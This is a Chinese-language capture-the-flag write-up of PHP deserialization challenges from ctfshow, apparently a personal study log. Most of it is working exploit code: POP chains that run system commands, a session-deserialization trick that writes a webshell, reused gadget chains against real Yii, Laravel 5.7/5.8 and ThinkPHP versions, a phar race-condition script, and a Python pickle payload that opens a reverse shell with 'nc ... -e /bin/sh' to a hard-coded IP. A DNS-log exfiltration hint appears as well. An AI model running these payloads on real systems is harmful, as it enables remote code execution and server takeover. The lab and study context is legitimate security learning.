:
__sleep() //在对象被序列化之前运行
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
__construct() //在类实例化时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
Payload:
?username=xxxxxx&password=xxxxxx
将isvip变为true,并从cookie中传入,记得url编码!!
:
保证输入的username和序列化的一样并且和原来的password不一样。
class ctfShowUser{
public $username='xxxxxx';
public $password='a';
public $isVip=true;
}
echo serialize(new ctfShowUser);
playload:
?username=xxxxxx&password=a
web257
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
从中可以看出需要利用backDoor这个类;
因此进行以下的序列化构造:
class ctfShowUser{
private $username='a';
private $password='b';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='a';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
将其抓包放入cookie中放包(记得要加路径)。
同上相差不大
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
/`[oc]:\d+:/i意思就是不能出现O:数字,我们用0:+数字即可绕过。`
[oc]: 就是正则匹配的意思
\d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {
1,}。
/i: 表示匹配的时候不区分大小写
因此和上一题的构造相似,但是要将构造好的序列化中的O:数字变为O:+数字。
不太会,之后补上
大佬的做法:Y4tacker
array_pop(array):该函数是将数组中的最后一个元素删除。
本题需要构造POST请求头使得使得
token=ctfshow
从而将flag放入到flag.txt中
利用
Soapclient()函数构造请求头。
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
从中可以看出需要构造的pop链条中要包含’ctfshow_i_love_36D‘,因此构造代码:
class ctfshow{
public $a='ctfshow_i_love_36D';
}
echo serialize(new ctfshow());
?>
file_put_contents() 函数用于把字符串写入文件,成功返回写入到文件内数据的字节数,失败则返回 FALSE
例如:
echo file_put_contents("test.txt", "This is something.");
?>
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
从中我们可以看出我们有两个利用点,由于__invoke()在题中根本没有使用,所以只能用__destruct()这个方法。利用file_put_contents()函数写出php文件并访问。当然传入的参数也要是pop链,因此进行以下构造:
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
$this->password="";
}
}
echo serialize(new ctfshowvip());
?>
反序列化字符串逃逸
反序列化逃逸
一些小知识:
setcookie(name,value,expire,path,domain,secure)
参数 描述
name 必需。规定 cookie 的名称。
value 必需。规定 cookie 的值。
expire 可选。规定 cookie 的有效期。
path 可选。规定 cookie 的服务器路径。
domain 可选。规定 cookie 的域名。
secure 可选。规定是否通过安全的 HTTPS 连接来传输 cookie。
本题中通过setcookie让服务器通过cookie发送name值,之后在通过$_COOKIE这个魔术变量接收键为name的值。
存在www.zip,把代码下载下来进行审计。
在inc.php那里发现这个:
ini_set('session.serialize_handler', 'php');
//还有一种是ini_set('session.serialize_handler', 'php_serialize');
第一反应肯定就是session反序列化了,这里把session的session.serialize_handler设置为php,暗示了默认的php.ini里面的肯定不是php,大概率是php_serialize。既然session序列化存储的引擎存在差异,自然可以进行攻击了:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。
会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过
session_set_save_handler() 设定的用户自定义会话管理器。 通过 read
回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量
先判断一下session是否可控。如果不可控的话可能就要利用文件上传了。
全局搜索一下session,发现首先是这里:
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
第一次访问index.php就会产生session,之后如果limit没超过5的话, S E S S I O N [ ′ l i m i t ′ ] = b a s e 6 4 d e c o d e ( _SESSION['limit']=base64_decode( SESSION[′limit′]=base64decode(_COOKIE[‘limit’]);
Cookie可控,因此session就可控了。再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入:
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。
构造如下:
//ini_set('session.serialize_handler','php');
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new User('1.php','');
//$_SESSION['user']=$user;
echo base64_encode('|'.serialize($user));
//$s = 's:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";s:6:"status";N;}
//var_dump(unserialize($s));
//O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"";s:6:"status";N;}
?>
首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后访问log-1.php,并进行操作。
和web262相似,只不过一个使用session 一个使用cookie
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
需要用到一个知识点
$a=&$b
//指b的值随a值发生变化,只要a变,b就跟着变。
通过分析可以看出,只要在token和password一直保持相等,就可以得到flag
创造脚本
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password = &$this->token;
}
}
$a=new ctfshowAdmin();
echo urlencode(serialize($a));
?>
直接的到flag。
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: [email protected]
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
看到题后发现本题将ctfshow过滤,可以判断需要绕过
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
看到大佬博客发现PHP对类的命名不区分大小写,因次绕过:
class CTFshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
echo serialize(new CTFshow());
?>
file_get_contents('php://input')
//该函数可以进行如同post一样的参数,因此直接抓包。在包中传参。
//他与post并不相同,具体的不同看博客
file_get_contents(‘php://input’) 和POST的区别
先进行弱口令登录到页面,观察到源码中有?view-source
之后在url添加
?r=backdoor/shell&code=xxxxx;
之后在源码发现该构架为yii,可以想到yii反序列化漏洞
用网上通用的代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-03 21:55:29
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-04 01:10:43
# @email: [email protected]
# @link: https://ctfer.com
*/
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo ';phpinfo()' > /var/www/html/basic/web/1.php";
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
代码跑完之后,便可以看是否有1.php存在,在1.php中操作。
(有一点需要了解:在测试的过程中需要用到dnslog.site这个网址。
用
//wget `xx`.二级域名
不懂可以看bili上师傅讲解。
wp视频
当system无法使用可以使用passthru()函数
本体用上题链无法使用
看大师傅的另外的几条链
feng师傅的yii漏洞复现
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
通过题目可以看到框架为 Laravel框架,
留传具有反序列化的这类框架有Laravel5.7和Laravel5.8.
看feng师傅博客5.7反序列化漏洞复现
通过poc链:
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /fl*";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
上一题是laravel5.7,这一题是laravel5.8反序列化漏洞。
看feng师傅博客
laravel5.8 反序列化漏洞复现
看师傅写的poc:
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
进入主页看到源码发现输入点,
看feng师傅博客
thinkphp反序列化漏洞
feng师傅的poc:
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'feng'=>new Request()
);
$this->append=array(
'feng'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: [email protected]
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
通过分析可以看到
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
可以直接执行 $this->filename;因此做命令:
?fn=1.php;tac%20flag.php;
本题应该是通过phar和反序列化、竞争将admin传为true,并通过构造phar包进行竞争
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 23:17:44
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-06 00:52:57
# @email: [email protected]
# @link: https://ctfer.com
*/
class filter{
public $filename;
public $filecontent;
public $evilfile=true;
public $admin = true;
public function __construct($f='',$fn=''){
$this->filename='1;tac fla?.ph?';
$this->filecontent='';
}
}
#获取phar包
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
上述是phar包构造
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-06 00:54:43
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-06 01:05:31
# @email: [email protected]
# @link: https://ctfer.com
import requests
import time
import threading
success = False
#读取phar包内容
def getPhar(phar):
with open(phar,'rb') as p:
return p.read()
#写入phar包内容
def writePhar(url,data):
print('writing...')
requests.post(url,data)
#触发unlink的phar反序列化
def unlinkPhar(url,data):
global success
print('unlinking...')
res = requests.post(url,data)
if 'ctfshow' in res.text and success is False:
print(res.text)
success = True
def main():
global success
url = 'http://b49ae4f3-fdc9-4810-9cb1-d521dd9ce054.challenge.ctf.show:8080/'
phar = getPhar('phar.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
u = threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://p.phar/test',''))
w.start()
u.start()
if __name__ == '__main__':
main()
这位题目脚本,可以直接竞争出flag。
本题通过看源码可以发现
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
从中可以看出本题考查python反序列化
看feng师傅博客:
python反序列化原理
python反序列化漏洞
模仿师傅的代码:
import pickle
import os
import base64
class CTFshow():
# def sw(self):
# print(self.show)
# def __init__(self,show):
# self.show= show
def __reduce__(self):
return (eval,("__import__('os').popen('nc 120.76.201.211 6000 -e /bin/sh').read()",))
# return (eval,("__import__('os').popen('ls /').read()",))
# return (os.system,('',))
cs = CTFshow()
ctf = pickle.dumps(cs)
#df = pickle.loads(ctf)
print(base64.b64encode(ctf))